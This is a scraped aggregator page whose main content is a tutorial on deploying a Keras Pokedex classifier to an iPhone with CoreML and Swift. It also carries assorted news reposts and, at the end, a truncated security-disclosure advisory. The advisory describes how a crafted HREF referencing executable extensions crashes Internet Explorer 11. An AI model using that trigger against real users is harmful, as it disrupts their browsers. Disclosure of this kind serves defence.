Latest YouTube Video

Showing posts with label IFTTT. Show all posts
Showing posts with label IFTTT. Show all posts

Monday, April 23, 2018

Running Keras models on iOS with CoreML

In last week’s blog post, you learned how to train a Convolutional Neural Network (CNN) with Keras.

Today, we’re going to take this trained Keras model and deploy it to an iPhone and iOS app using what Apple has dubbed “CoreML”, an easy-to-use machine learning framework for Apple applications:

To recap, thus far in this three-part series, we have learned how to:

  1. (Quickly) create a deep learning image dataset
  2. Train a Keras + Convolutional Neural Network on our custom dataset
  3. Deploy our Keras model to an iPhone app with CoreML (this post)

My goal today is to show you how simple it is to deploy your Keras model to your iPhone and iOS using CoreML.

How simple you say?

To be clear, I’m not a mobile developer by any stretch of the imagination, and if I can do it, I’m confident you can do it as well.

Feel free to use the code in today’s post as a starting point for your own application.

But personally, I’m going to continue the theme of this series and build a Pokedex. A Pokedex is a device that exists in the world of Pokemon, a popular TV show, video game, and trading card series (I was/still am a huge Pokemon nerd).

Using a Pokedex you can take a picture of a Pokemon (animal-like creatures that exist in the world of Pokemon) and the Pokedex will automatically identify the creature for for you, providing useful information and statistics, such as the Pokemon’s height, weight, and any special abilities it may have.

You can see an example of a Pokedex in action at the top of this blog post, but again, feel free to swap out my Keras model for your own — the process is quite simple and straightforward as you’ll see later in this guide.

To learn how you can deploy a trained Keras model to iOS and build a deep learning iPhone app, just keep reading.

Looking for the source code to this post?
Jump right to the downloads section.

Running Keras models on iOS with CoreML

Today’s blog post is broken down into four parts.

First, I’ll give some background on CoreML, including what it is and why we should use it when creating iPhone and iOS apps that utilize deep learning.

From there, we’ll write a script to convert our trained Keras model from a HDF5 file to a serialized CoreML model — it’s an extremely easy process.

Next, we’ll create a Swift project in Xcode. This step is painless for those that know their way around Xcode, but for me I had to learn as I went along using resources online (I’m not a mobile expert and it’s been a long time since I’ve needed to use Xcode).

My hope is that I’ve provided you enough detail that you don’t need to pull up a search engine unless you’re modifying the code.

At some point you’ll likely want to register for the Apple Developer Program — I’ll squeeze this in just before we test the app on our iPhone.

Finally, we’ll compile the app and deploy the Keras model to our iPhone and iOS.

What is CoreML and who is it for?

Figure 1: To make a CoreML deep learning computer vision app on your iPhone, follow these steps: (1) Gather images, (2) Train and save your model with Keras, (3) Convert your model file coremltools, (4) Import the model into your Xcode Swift app, (5) Write Swift code to run inferences on frames from your camera, (6) Deploy to your iPhone and have fun!

CoreML is a machine learning framework created by Apple with the goal of making machine learning app integration easy for anyone that wants to build a machine learning mobile app for iOS/iPhone.

CoreML supports Caffe, Keras, scikit-learn, and more.

For today, you just need a trained, serialized Keras model file to convert into a CoreML (Xcode compatible) file. This could be:

If you choose to use your own custom model you’ll want to check the CoreML documentation to ensure the layers utilized inside your network are supported.

From there all you need is a few short lines of code to load the model and run inferences.

Apple’s CoreML development team really couldn’t have made it any easier and they deserve some well-earned praise. Great job to you all.

I’m a computer vision + deep learning expert, not an app developer

I’ll be totally upfront and candid:

I’m not a mobile app developer (and I don’t claim to be).

Sure, I’ve built previous apps like ID My Pill and Chic Engine, but mobile development isn’t my strong suit or interest. In fact, those apps were created with PhoneGap/Cordova using HTML, JavaScript, and CSS without any Objective-C or Swift knowledge.

Instead, I’m a computer vision guy through and through. And when it comes to mobile apps, I lean heavily on easy-to-use frameworks such as PhoneGap/Cordova and (now) CoreML.

To learn the CoreML basics for this blog post, I gleaned this project from the knowledge of other expert developers on the web. Without them, I would be lost.

One app developer in particular, Mark Mansur, shared an excellent article on how to put together a deep learning + iOS app.

Much of today’s code is based on Mark’s post and project, with only a small modification or two. Thanks to Mark, this project is possible. Thanks Mark!

Making a Keras model compatible with iOS with CoreML and Python

In this section, we’re going to make use of the pip-installable coremltools package.

To install

coremltools
 , ensure you’re in a Python virtual environment with relevant libraries (we’re using Keras) and enter the following command:
$ pip install coremltools

From there, grab my converter script and associated files by scrolling down to the “Downloads” section of this blog post and downloading the code.

Once you’re ready, open

coremlconverter.py
  and follow along:
# import necessary packages
from keras.models import load_model
import coremltools
import argparse
import pickle

# construct the argument parser and parse the arguments
ap = argparse.ArgumentParser()
ap.add_argument("-m", "--model", required=True,
        help="path to trained model model")
ap.add_argument("-l", "--labelbin", required=True,
        help="path to label binarizer")
args = vars(ap.parse_args())

Lines 2-5 import our required packages.

If you don’t have

coremltools
  installed, be sure to refer above this code block for installation instructions.

Then we parse our command line arguments. We have two arguments:

  • --model
    
     : The path to the pre-trained, serialized Keras model residing on disk.
  • --labelbin
    
     : The path to our class label binarizer. This file is a scikit-learn
    LabelBinarizer
    
      object from our previous post where we trained the CNN. If you do not have a
    LabelBinarizer
    
      object you will need to modify the code to hardcode the set of
    class_labels
    
     .

From there, let’s load the class labels and our Keras model:

# load the class labels
print("[INFO] loading class labels from label binarizer")
lb = pickle.loads(open(args["labelbin"], "rb").read())
class_labels = lb.classes_.tolist()
print("[INFO] class labels: {}".format(class_labels))

# load the trained convolutional neural network
print("[INFO] loading model...")
model = load_model(args["model"])

On Lines 17-19, we load our class label pickle file, and store the

class_labels
  as a list.

Next, we load the trained Keras model on a single line (Line 23).

From there, let’s call the converter from

coremltools
  and save the resulting model to disk:
# convert the model to coreml format
print("[INFO] converting model")
coreml_model = coremltools.converters.keras.convert(model,
        input_names="image",
        image_input_names="image",
        image_scale=1/255.0,
        class_labels=class_labels,
        is_bgr=True)

Beginning on Line 27, we call the

coremltools.converters.keras.convert
  function. Be sure to refer to the docs for the keyword parameter explanations. We are utilizing the following parameters today:
  • model
    
     : The Keras model we are converting. You can actually just put a string path + filename here, but I elected to enter the model object — the API supports both methods.
  • input_names="image"
    
     : Quoted from the docs: “Optional name(s) that can be given to the inputs of the Keras model. These names will be used in the interface of the Core ML models to refer to the inputs of the Keras model. If not provided, the Keras inputs are named to [input1, input2, …, inputN] in the Core ML model. When multiple inputs are present, the input feature names are in the same order as the Keras inputs.”
  • image_input_names="image"
    
     : Quoted from the docs: “Input names to the Keras model (a subset of the input_names parameter) that can be treated as images by Core ML. All other inputs are treated as MultiArrays (N-D Arrays).”
  • image_scale=1/255.0
    
     : This parameter is very important. It’s common practice to scale the pixel intensities of your images to [0, 1] prior to training your network. If you performed this type of scaling, be sure to set the
    image_scale
    
      parameter to the scale factor. Double and triple-check and scaling and preprocessing you may have done during training and ensure you reflect these preprocessing steps during the conversion process.
  • class_labels=class_labels
    
     : Here we supply the set of class labels our model was trained on. We obtained our
    class_labels
    
      from our
    LabelBinarizer
    
      object. You can also hardcode the
    class_labels
    
      if you wish.
  • is_bgr=True
    
     : This parameter is easy to overlook (I found out the hard way). If your model was trained with BGR color channel ordering, then it is important to set this value to
    True
    
      so that CoreML operates as intended. If your model was trained with RGB images, you can safely ignore this parameter. If your images are not BGR or RGB, refer to the docs for further instruction.

I’d also like to point out that you can add red/green/blue/gray biases via the parameters if you’re performing mean subtraction on your query image from within your iPhone app. This is required for many ImageNet models, for example. Be sure to refer to the docs if you need to perform this step. Mean subtraction is a common pre-processing step covered in Deep Learning for Computer Vision with Python.

The last step on our script is to save the output CoreML protobuf model:

# save the model to disk
output = args["model"].rsplit(".", 1)[0] + ".mlmodel"
print("[INFO] saving model as {}".format(output))
coreml_model.save(output)

Xcode expects this file to have the extension

.mlmodel
 . Therefore, I elected to handle this with code rather than a command line argument to avoid possible problems down the road.

Line 35 drops the

.model
  extension from the input path/filename and replaces it with
.mlmodel
  storing the result as
output
 .

From there, Line 37 saves the file to disk using the correct filename.

That’s all there is to this script. Thanks Apple CoreML developers!

Running the Keras to CoreML conversion script

Our script can be executed by passing two command line arguments:

  1. The path to the model
  2. The path to the label binarizer.

Each of those files was created in last week’s blog post but are included in this week’s download as well.

Once you’re ready, enter the following command in your terminal and review the output as needed:

$ python coremlconverter.py --model pokedex.model --labelbin lb.pickle
Using TensorFlow backend.
[INFO] loading class labels from label binarizer
[INFO] class labels: ['background', 'bulbasaur', 'charmander', 'mewtwo', 'pikachu', 'squirtle']
[INFO] loading model...
[INFO] converting model
0 : conv2d_1_input, <keras.engine.topology.InputLayer object at 0x11889dfd0>
1 : conv2d_1, <keras.layers.convolutional.Conv2D object at 0x1188a8048>
2 : activation_1, <keras.layers.core.Activation object at 0x1188a8198>
...
22 : batch_normalization_6, <keras.layers.normalization.BatchNormalization object at 0x118b0d390>
23 : dense_2, <keras.layers.core.Dense object at 0x118bac198>
24 : activation_7, <keras.layers.core.Activation object at 0x118c08f28>
[INFO] saving model as pokedex.mlmodel
Input name(s) and shape(s): 
image : (C,H,W) = (3, 96, 96) 
Neural Network compiler 0: 100 , name = conv2d_1, output shape : (C,H,W) = (32, 96, 96) 
Neural Network compiler 1: 130 , name = activation_1, output shape : (C,H,W) = (32, 96, 96) 
Neural Network compiler 2: 160 , name = batch_normalization_1, output shape : (C,H,W) = (32, 96, 96) 
... 
Neural Network compiler 21: 160 , name = batch_normalization_6, output shape : (C,H,W) = (1024, 1, 1) 
Neural Network compiler 22: 140 , name = dense_2, output shape : (C,H,W) = (5, 1, 1) 
Neural Network compiler 23: 175 , name = activation_7, output shape : (C,H,W) = (5, 1, 1)

Then, list the contents of your directory:

$ ls -al
total 299240
drwxr-xr-x@ 6 adrian  staff        192 Apr 11 15:07 .
drwxr-xr-x@ 5 adrian  staff        160 Apr 11 15:06 ..
-rw-r--r--@ 1 adrian  staff       1222 Apr 11 11:06 coremlconverter.py
-rw-r--r--@ 1 adrian  staff   34715389 Apr 11 11:07 pokedex.mlmodel
-rw-r--r--@ 1 adrian  staff  104214208 Mar 28 06:45 pokedex.model
drwxr-xr-x@ 4 adrian  staff        128 Apr 10 08:36 xcode

…and you’ll see

pokedex.mlmodel
  which can be imported right into Xcode (we’ll proceed to do this in the next section in Step 4). Interestingly, you can see that the file is smaller than the original Keras model which likely means CoreML stripped any optimizer state status during the conversion process.

Note: In an effort to allow for my Pokedex app to recognize when the camera is aimed at an “everyday object” and not a Pokemon (with a goal of eliminating false positives of our Pokemon friends), I added a class called “background”. I then retrained the model using the exact code from last week. The background class consisted of 250 images randomly sampled from the UKBench dataset residing on my system.

Creating a Swift + CoreML deep learning project in Xcode

Figure 2: A Swift iPhone app paired with a CoreML model makes for the perfect deep learning computer vision mobile app.

Step 0: Prepare your development environment

The zeroth step for this section is to download and install Xcode on your Macintosh computer. If your version of Xcode is not at least version 9.0, then you’ll need to upgrade. At some point my Xcode insisted that I upgrade to version 9.3 to support my iPhone iOS 11.3.

Warning: Upgrading Xcode can break other development software + environments on your machine (such as a Python virtual environment with OpenCV installed). Proceed with caution or use a service such as MacInCloud so you do not break your local development environment.

Once you’ve installed/checked for the proper version of XCode, you’ll be ready to continue on.

Step 1: Create the project

For organization purposed, I opted to create a folder called

xcode
  in my home directory to house all of my Xcode projects. I created the following directory:
~/adrian/xcode
 .

From there, launch Xcode and create a “Single View App” as shown in Figure 3.

Figure 3: Creating a “Single View App” in Xcode is the first step to creating a deep learning computer vision smartphone app.

Next, you can name your project whatever you’d like — I named mine “pokedex” as shown below.

Figure 4: In Xcode, you can name your project or app whatever you’d like. I’m making a “pokedex” CoreML deep learning app.

Step 2: Kill off the storyboard

A storyboard is a view controller (think Model/View/Controller architecture). We’re going to get rid of the view controller for today’s simple app. Our view will be created programmatically instead.

Go ahead and delete

Main.storyboard
  from the file manager on the left as in Figure 5.

Figure 5: Delete Main.storyboard in Xcode — we don’t need it for this deep learning computer vision iOS app.

Then, click the high level app name in the tree (“pokedex” in my case) and scroll to “Deployment info”. Erase the contents of the text box labeled “Main Interface”

Figure 6: Delete the Main Interface. We’ll be making an interface programmatically in our iOS deep learning app.

Step 3: Add an element to info.plist

Our app accesses the camera, so we need to prepare an authorization message. This can easily be done in info.plist.

Click the “+” button as is shown in Figure 7 and add the Key + Value.  The Key must match exactly to “Privacy – Camera Usage Description”, but the value can be any message you’d like.

Figure 7: Add a “Privacy – Camera Usage Description” to our info.plist because our deep learning CoreML app will utilize the iPhone camera. For a higher resolution version of this image, click here.

Step 4: Create the app window and root view controller

We still need a view even though we’ve gotten rid of the storyboard. For this step, you’ll want to copy and paste the following code into

AppDelegate.swift
 . The function is already defined — you just need to paste the body from below:
func application(_ application: UIApplication, didFinishLaunchingWithOptions launchOptions: [UIApplicationLaunchOptionsKey: Any]?) -> Bool {
        // Override point for customization after application launch.
        
        // create the user interface window and make it visible
        window = UIWindow()
        window?.makeKeyAndVisible()
        
        // create the view controller and root view controller
        let vc = ViewController()
        window?.rootViewController = vc
        
        // return true upon success
        return true
    }

Step 5: Drag the CoreML model file into Xcode

Using Finder on your Mac, navigate to the CoreML

.mlmodel
  file that you created above (or just grab my
pokedex.mlmodel
  from the “Downloads” section of this blog post).

Then, drag and drop it into the project tree. It will import automatically and create the relative Swift classes:

Figure 8: Adding the Keras deep learning model to the iOS project.

Step 6: Build the ViewController

Open

ViewController.swift
  and import our required packages/frameworks:
// import necessary packages
import UIKit
import AVFoundation
import Vision

Lines 10-12 import three required packages for this project.

The

UIKit
  package is a common framework for developing the view of an iOS application and allows for text, buttons, table views, and navigation.

The

AVFoundation
  framework is for audiovisual media on iOS — we’ll employ it to capture from the camera.

We’re going to use the

Vision
  framework for our custom CoreML model classification, but the framework allows for much more than that. With the Vision framework, you can perform face detection, facial landmark detection, barcode recognition, feature tracking, and more.

Now that we’ve imported the relevant frameworks, let’s create the

ViewController
  class and begin with a text label:
class ViewController: UIViewController, AVCaptureVideoDataOutputSampleBufferDelegate {
    // create a label to hold the Pokemon name and confidence
    let label: UILabel = {
        let label = UILabel()
        label.textColor = .white
        label.translatesAutoresizingMaskIntoConstraints = false
        label.text = "Label"
        label.font = label.font.withSize(30)
        return label
    }()

On Line 14 the

ViewController
  class is defined while inheriting
UIViewController
  and
AVCaptureVideoDataOutputSampleBufferDelegate
 . That’s a mouthful and really brings be back to my days of coding in Java!

In this class, we’re first going to define a

UILabel
  which will hold our class label and associated probability percentage text. Lines 16-23 handle this step.

Next, we’re going to override the

viewDidLoad
  function:
override func viewDidLoad() {
        // call the parent function 
        super.viewDidLoad()
        
        // establish the capture session and add the label 
        setupCaptureSession()
        view.addSubview(label)
        setupLabel()
    }

The

viewDidLoad
  function is called after the view has been loaded. For view controllers created via code, this is after
loadView
 .

On Line 25 we use the

override
  keyword so that the compiler knows that we’re overriding the inherited class function.

Since we’re overriding the function, we need to call the super/parent function as is shown on Line 27.

From there, we establish the capture session (Line 30) followed by adding the

label
  as a subview (Lines 31 and 32).

I’m including this next function as a matter of completeness; however, we’re not actually going to make any changes to it:

override func didReceiveMemoryWarning() {
        // call the parent function
        super.didReceiveMemoryWarning()
        
        // Dispose of any resources that can be recreated.
    }

If you are experiencing memory warnings when testing your app, you can

override
  the
didReceiveMemoryWarning
  function with additional actions. We’re going to leave this as-is and move on.

Let’s try to set up camera capture access using iOS and Swift:

func setupCaptureSession() {
        // create a new capture session
        let captureSession = AVCaptureSession()
        
        // find the available cameras
        let availableDevices = AVCaptureDevice.DiscoverySession(deviceTypes: [.builtInWideAngleCamera], mediaType: AVMediaType.video, position: .back).devices
        
        do {
            // select a camera
            if let captureDevice = availableDevices.first {
                captureSession.addInput(try AVCaptureDeviceInput(device: captureDevice))
            }
        } catch {
            // print an error if the camera is not available
            print(error.localizedDescription)
        }
        
        // setup the video output to the screen and add output to our capture session
        let captureOutput = AVCaptureVideoDataOutput()
        captureSession.addOutput(captureOutput)
        let previewLayer = AVCaptureVideoPreviewLayer(session: captureSession)
        previewLayer.frame = view.frame
        view.layer.addSublayer(previewLayer)
        
        // buffer the video and start the capture session
        captureOutput.setSampleBufferDelegate(self, queue: DispatchQueue(label: "videoQueue"))
        captureSession.startRunning()
    }

Now remember — I’m not an expert at iOS development, but the codeblock above is relatively easy to follow.

First, we need to create a capture session (Line 44) and query for a camera + check for any errors (Lines 47-57).

From there, we output the feed to the screen in a

previewLayer
  (Lines 60-64) and start the session (Lines 67 and 68).

Let’s classify the frame and draw the label text on the screen:

func captureOutput(_ output: AVCaptureOutput, didOutput sampleBuffer: CMSampleBuffer, from connection: AVCaptureConnection) {
        // load our CoreML Pokedex model
        guard let model = try? VNCoreMLModel(for: pokedex().model) else { return }

        // run an inference with CoreML
        let request = VNCoreMLRequest(model: model) { (finishedRequest, error) in

            // grab the inference results
            guard let results = finishedRequest.results as? [VNClassificationObservation] else { return }
            
            // grab the highest confidence result
            guard let Observation = results.first else { return }
            
            // create the label text components
            let predclass = "\(Observation.identifier)"
            let predconfidence = String(format: "%.02f%", Observation.confidence * 100)

            // set the label text
            DispatchQueue.main.async(execute: {
                self.label.text = "\(predclass) \(predconfidence)"
            })
        }
        
        // create a Core Video pixel buffer which is an image buffer that holds pixels in main memory
        // Applications generating frames, compressing or decompressing video, or using Core Image
        // can all make use of Core Video pixel buffers
        guard let pixelBuffer: CVPixelBuffer = CMSampleBufferGetImageBuffer(sampleBuffer) else { return }
        
        // execute the request
        try? VNImageRequestHandler(cvPixelBuffer: pixelBuffer, options: [:]).perform([request])
    }

Nothing magic is happening in this block — it may just be a little unfamiliar to Python developers.

We load the CoreML model on Line 73.

Then, we classify a given frame and grab the results on Lines 76-79. We can then grab the first predicted result from the CoreML model, storing it as an object named

Observation
  (Line 82).

The predicted class label can be extracted via

Observation.identifier
  (Line 85). We also format the confidence to show only two places past the decimal (Line 86). We set the
label
  text with these two components (Lines 89-91).

And finally, we establish a video pixel buffer and execute the request (Lines 97-100).

We’ve reached the final function where we’ll establish a location on the screen for the label:

func setupLabel() {
        // constrain the label in the center
        label.centerXAnchor.constraint(equalTo: view.centerXAnchor).isActive = true
        
        // constrain the the label to 50 pixels from the bottom
        label.bottomAnchor.constraint(equalTo: view.bottomAnchor, constant: -50).isActive = true
    }
}

The two settings in

setupLabel
  speak for themselves — essentially we constrain the label to the bottom center.

Don’t forget the final bracket to mark the end of the ViewController class!

It’s easy to make minor syntax errors if you aren’t used to Swift, so be sure to use the “Downloads” section of this blog post to grab the entire project.

Registering for the Apple Developer Program

In order to deploy the project to your iPhone, first enroll in the Apple Developer Program.

After you’re enrolled, accept the certificates on your iPhone. I remember this being very easy somewhere in settings but I don’t recall where.

It is a nearly instant process to enroll, wait for Xcode and your iPhone to sync, and then accept certificates. I ended up paying the $100 but I later found out that it’s possible to create a free developer account via this blog post. Don’t make my mistake if you want to save some funds (and potentially use those extra funds to purchase a copy of Deep Learning for Computer Vision with Python).

Testing our Keras + CoreML deep learning app on the iPhone

Now we’re ready to compile and test our Keras + iOS/iPhone deep learning app!

I recommend first deploying your app via USB. From there if you want to share it with others, you could take advantage of TestFlight before publishing in the App Store.

We’re going to use USB today.

First, plug in your iPhone to your Mac via USB. You likely have to unlock your iPhone with your pin and when iTunes prompts you to trust the device, you should.

From there, in the Xcode menubar, select

Product > Destination > Adrian's iPhone
 .

Then to build and run all in one swoop, select

Product > Run
 . If you have any build errors, you’ll need to resolve them and try again.

If you are successful, the app will be installed and opened automatically on your iPhone.

At this point, you can go find Pokemon in the wild (playing cards, stuffed Pokemon, or action figures). A big shoutout to GameStop, Target, and Wal-mart where I caught some Pokemon critters. You might get lucky and find a whole box for a few bucks on CraigsList or eBay. If you don’t find any, then load some photos/illustrations on your computer and aim your iPhone at your screen.

Here’s my CoreML app in action:

Figure 9: Our Keras deep neural network deployed to iOS and iPhone is able to run in real-time.

To watch the full video on YouTube, just press play on the video here:

It’s definitely a simple app, but I’m quite proud that I have this on my phone to show my friends, fellow Pokemon nerds, and PyImageSearch readers.

I’d like to thank Mark Mansur for his inspiring, detailed this blog post which made today’s tutorial possible.

If I had had more time, I may have placed a button on the UI so that I could take snapshots of the Pokemon I encounter in the wild. I’ll leave this to the Swift + iOS experts — with practice and determination, it could be you!

Note: Screenshots are easy on iPhone/iOS. I assume you already know how to take them. If not, Google it. Screencast videos are relatively easy too. Just add the feature via

Settings > Control Center > Customize Controls
  and then go back to the app and swipe up from the bottom (further details here).

Compatibility Note: This app was tested with iOS 11.3 on an iPhone 6s, iPhone 7, and iPhone X. I used xCode 9.3 to build the app.

What about Android? Does CoreML work on Android?

CoreML is an Apple toolkit and is meant only for iPhone, iOS, and other Apple applications. CoreML does not work on Android.

I do not have any experience developing Android apps and I’ve never used Android Studio.

I also do not have an Android phone.

But if there is enough interest in the comments section I will consider borrowing an Android phone from a friend and trying to deploy a Keras model to it.

Summary

In today’s blog post we saw that it’s incredibly easy to leverage the CoreML framework to take (trained) Keras models and deploy them to the iPhone and iOS.

I hope you see the value in Apple’s CoreML framework — it is quite impressive and a huge testament to the Apple developers and machine learning engineers for creating a tool that can ingest a deep neural network (that could be trained via a variety of popular deep learning libraries) and output a model that is nearly drag-and-drop compatible with the iPhone and iOS.

We used Swift for today’s iPhone app. While Swift isn’t as straightforward as Python (take that statement with a grain of salt because I’m a bit biased), given how easy CoreML is, you’ll be able to take this project and build your own, polished apps in no time.

Now, I have a challenge for you.

I used Pokemon for this series of tutorials as it was one of my favorite childhood pastimes and brought back some wonderful nostalgic memories.

Now it’s your turn to let your imagination run wild.

What deep learning vision app would you like to build? Do you want to recognize the make and model of cars, build an animal species classifier, detect fruits and vegetables? Something else?

If so, you’ll want to start by taking a look at my book, Deep Learning for Computer Vision with Python.

Inside my book you will:

  • Learn the foundations of machine learning and deep learning in an accessible manner that balances both theory and implementation
  • Study advanced deep learning techniques, including object detection, multi-GPU training, transfer learning, and Generative Adversarial Networks (GANs)
  • Replicate the results of state-of-the-art papers, including ResNet, SqueezeNet, VGGNet, and others on the 1.2 million ImageNet dataset

I have no doubt in my mind that you’ll be able to train your own custom deep neural networks using my book.

Be sure to take a look (and while you’re at it, don’t forget to grab your free table of contents + sample chapters PDF of the book).

From there, using both (1) your newly trained deep learning model and (2) today’s lesson, you can undoubtedly create a deep learning + Keras iPhone app and deploy it to the app store (and perhaps even make some money off the app as well, if you’re so inclined).

I’ll be back next week with a special bonus “part four” to this tutorial. I’m so excited about it that I might even drop some hints on Twitter leading up to Monday. Stay tuned!

Be sure that you don’t miss out on my next blog post (and more to come) by entering your email in the form below.

Downloads:

If you would like to download the code and images used in this post, please enter your email address in the form below. Not only will you get a .zip of the code, I’ll also send you a FREE 11-page Resource Guide on Computer Vision and Image Search Engines, including exclusive techniques that I don’t post on this blog! Sound good? If so, enter your email address and I’ll send you the code immediately!

The post Running Keras models on iOS with CoreML appeared first on PyImageSearch.



from PyImageSearch https://ift.tt/2K74GQV
via IFTTT

ISS Daily Summary Report – 4/20/2018

Mobile Servicing System (MSS) Operations / Material on ISS Experiment – Flight Facility (MISSE-FF):  Last night the final MISSE Sample Container (MSC) was successfully installed on the MISSE FF.  All five MISSE Sample Carriers (MSC) were activated and opened. The Mobile Transporter (MT) was then translated from Work Site (WS)2 to WS6.  MISSE Transfer Tray … Continue reading "ISS Daily Summary Report – 4/20/2018"

from ISS On-Orbit Status Report https://ift.tt/2K61tkN
via IFTTT

Sunday, April 22, 2018

Surge in Anonymous Asia Twitter Accounts Sparks Bot Fears

Quoting SecurityWeek: Hong Kong - It has been jokingly referred to as "Botmageddon". But a surge in new, anonymous Twitter accounts across swathes of Southeast and East Asia has deepened fears the region is in the throes of US-style mass social media manipulation. SecurityWeek.

from Google Alert - anonymous https://ift.tt/2HjRyGj
via IFTTT

Meteor Over Crater Lake


Did you see it? One of the more common questions during a meteor shower occurs because the time it takes for a meteor to flash is typically less than the time it takes for a head to turn. Possibly, though, the glory of seeing bright meteors shoot across and knowing that they were once small granules on another world might make it all worthwhile, even if your observing partner(s) could not share in every particular experience. Peaking late tonight, a dark sky should enable the Lyrids meteor shower to exhibit as many as 20 visible meteors per hour from some locations. In the featured composite of nine exposures taken during the 2012 shower, a bright Lyrid meteor streaks above picturesque Crater Lake in Oregon, USA. Snow covers the foreground, while the majestic central band of our home galaxy arches well behind the serene lake. Other meteor showers this year -- and every year -- include the Perseids in mid-August and the Leonids in mid-November. via NASA https://ift.tt/2qVMv8f

Saturday, April 21, 2018

Flaw in LinkedIn AutoFill Plugin Lets Third-Party Sites Steal Your Data

Not just Facebook, a new vulnerability discovered in Linkedin's popular AutoFill functionality found leaking its users' sensitive information to third party websites without the user even knowing about it. LinkedIn provides an AutoFill plugin for a long time that other websites can use to let LinkedIn users quickly fill in profile data, including their full name, phone number, email address,


from The Hacker News https://ift.tt/2Hil0AG
via IFTTT

British Schoolboy Who Hacked CIA Director Gets 2-Year Prison Term

The British teenager who managed to hack into the online accounts of several high-profile US government employees sentenced to two years in prison on Friday. Kane Gamble, now 18, hacked into email accounts of former CIA director John Brennan, former Director of National Intelligence James Clapper, former FBI Deputy Director Mark Giuliano, and other senior FBI officials—all from his parent's


from The Hacker News https://ift.tt/2HJB91c
via IFTTT

[FD] [SE-2011-01] The origin and impact of vulnerabilities in ST chipsets

Hello All, We have published an initial document describing the origin and impact of the vulnerabilities discovered in ST chipsets along some rationale indicating why it's worth to dig further into this case: https://ift.tt/2vt3C6C This document is a work in progress. As such, it will be updated once new information is acquired regarding the impact of the issues found. ST vulnerabilities are still a mystery to many and we keep receiving inquiries about them regardless of the fact that almost 6 years had passed since the disclosure. STMicroelectronics, although out of STB and DVB chipset business, has not provided us with any details regarding the impact of the issues found. We have reasons to believe that vulnerable IP (TKD Crypto core of STi7111 SoC) might be part of other ST chipsets and/or part of other vendors' solutions, not necessarily related to PayTV industry (e-passports, banking cards and SIM cards). We have reasons to believe that ST actions were aimed to hide the impact of the issues found, that company's shareholders were not aware of these vulnerabilities, their impact and associated liabilities. We have reasons to believe that the issues have not been resolved up to this day. In Mar 2018, we asked CERT-FR (French governmental CSIRT) and IT-CERT (CERT Nazionale Italia) for assistance aimed at obtaining information from STMicroelectronics regarding security issues found in their chipsets (ST is a French-Italian company and both French and Italian governments hold 13.8% of its stake each). For some unknown reason, both CERTs have stopped responding to our messages [1]. We are still to hear from US-CERT. Over the last 20+ years, we have been dealing with various vendors and ecosystems (desktop, cloud, mobile, etc.). The case of STMicroelectronics vulnerabilities is however truly unique as we have never met with such a persistent and long-term refusal to provide information pertaining to the impact and addressing of security vulnerabilities found. The usual "crisis management" conducted by vendors for disclosures of high impact flaws involve carefully-worded statements indicating that the issues affect older products only or in case of low / limited impact flaws, a vendor usually publishes a list of vulnerable products to clearly emphasize the low nature of the issues found. ST refusal to provide any information pertaining to the impact of the flaws found in its chipsets can be perceived in terms of intentionally hiding the impact of a much larger magnitude than anticipated by the reporting party, customers or the public. It could be that these actions are aimed at avoiding the liabilities associated with manufacturing flawed products, the costs of their recalls and/or replacements. ST has all the means to end any speculation pertaining to the nature of the issues found in its chipsets and their impact by simply delivering clear impact information to general public (vulnerable chipset models, whether vulnerable IP is used in other products, possible remediation steps, etc). Security Explorations will continue engaging various entities such as US-CERT in a goal to acquire accurate information pertaining to the impact and addressing of ST vulnerabilities. The newly published document and our SE-2011-01 Vendor Status page will reflect any new information acquired and the steps taken to obtain it. We are also ready to release to the public all unpublished bits pertaining to our research of ST chipsets such as SRP-2018-01 [2] material if deemed necessary. Thank you. Best Regards, Adam Gowdiak

Source: Gmail -> IFTTT-> Blogger

TESS Launch Close Up


NASA's Transiting Exoplanet Survey Satellite (TESS) began its search for planets orbiting other stars by leaving planet Earth on April 18. The exoplanet hunter rode to orbit on top of a Falcon 9 rocket. The Falcon 9 is so designated for its 9 Merlin first stage engines seen in this sound-activated camera close-up from Space Launch Complex 40 at Cape Canaveral Air Force Station. In the coming weeks, TESS will use a series of thruster burns to boost it into a high-Earth, highly elliptical orbit. A lunar gravity assist maneuver will allow it to reach a previously untried stable orbit with half the orbital period of the Moon and a maximum distance from Earth of about 373,000 kilometers (232,000 miles). From there, TESS will carry out a two year survey to search for planets around the brightest and closest stars in the sky. via NASA https://ift.tt/2vChwDG

Friday, April 20, 2018

Orioles closer Zach Britton takes "pretty big" step in recovery from Achilles injury, throwing 20 pitches off a half-mound (ESPN)

from ESPN https://ift.tt/1eW1vUH
via IFTTT

[FD] wifi and z-wave smart home from zibreo

Hi manager, I'm Chris from Zibreo, a leading producer of home automation based in Shenzhen, China. 1) We have WiFi smart plug,water detector, PIR motion sensor, RGB bulb etc, they can work with Amazon Alexa, Google home, IFTTT. 2) Z-Wave devices are compatible with all of z-wave controllers in the market such as Fibaro, smartthings etc. 3) Battery-operated with 2-year lifetime. Contact me if you need further details. Thanks. Chris

Source: Gmail -> IFTTT-> Blogger

[FD] Microsoft (Win 10) InternetExplorer v11.371.16299.0 - Denial Of Service

[+] Credits: John Page (aka hyp3rlinx) [+] Website: hyp3rlinx.altervista.org [+] Source: https://ift.tt/2HEjHve [+] ISR: ApparitionSec Vendor: =======www.microsoft.com Product: ======== Internet Explorer (Windows 10) v11.371.16299.0 Internet Explorer is a series of graphical web browsers developed by Microsoft and included in the Microsoft Windows line of operating systems, starting in 1995. Vulnerability Type: ================== Denial Of Service CVE Reference: ============== N/A Security Issue: ================ A null pointer de-reference (read) results in an InternetExplorer Denial of Service (crash) when MSIE encounters an specially crafted HTML HREF tag containing an empty reference for certain Windows file types. Upon IE crash it will at times daringly attempt to restart itself, if that occurs and user is prompted by IE to restore their browser session, then selecting this option so far in my tests has shown to repeat the crash all over again. This can be leveraged by visiting a hostile webpage or link to crash an end users MSIE browser. Referencing some of the following extensions .exe:, .com:, .pif:, .bat: and .scr: should produce the same :) Tested Windows 10 Stack Dump: ========== (2e8c.27e4): Access violation - code c0000005 (first/second chance not available) ntdll!NtWaitForMultipleObjects+0x14: 00007ffa`be5f0e14 c3 ret 0:015> r rax=000000000000005b rbx=0000000000000003 rcx=0000000000000003 rdx=000000cca6efd3a8 rsi=0000000000000000 rdi=0000000000000003 rip=00007ffabe5f0e14 rsp=000000cca6efcfa8 rbp=0000000000000000 r8=0000000000000000 r9=0000000000000000 r10=0000000000000000 r11=0000000000000246 r12=0000000000000010 r13=000000cca6efd3a8 r14=0000000000000000 r15=0000000000000000 iopl=0 nv up ei pl 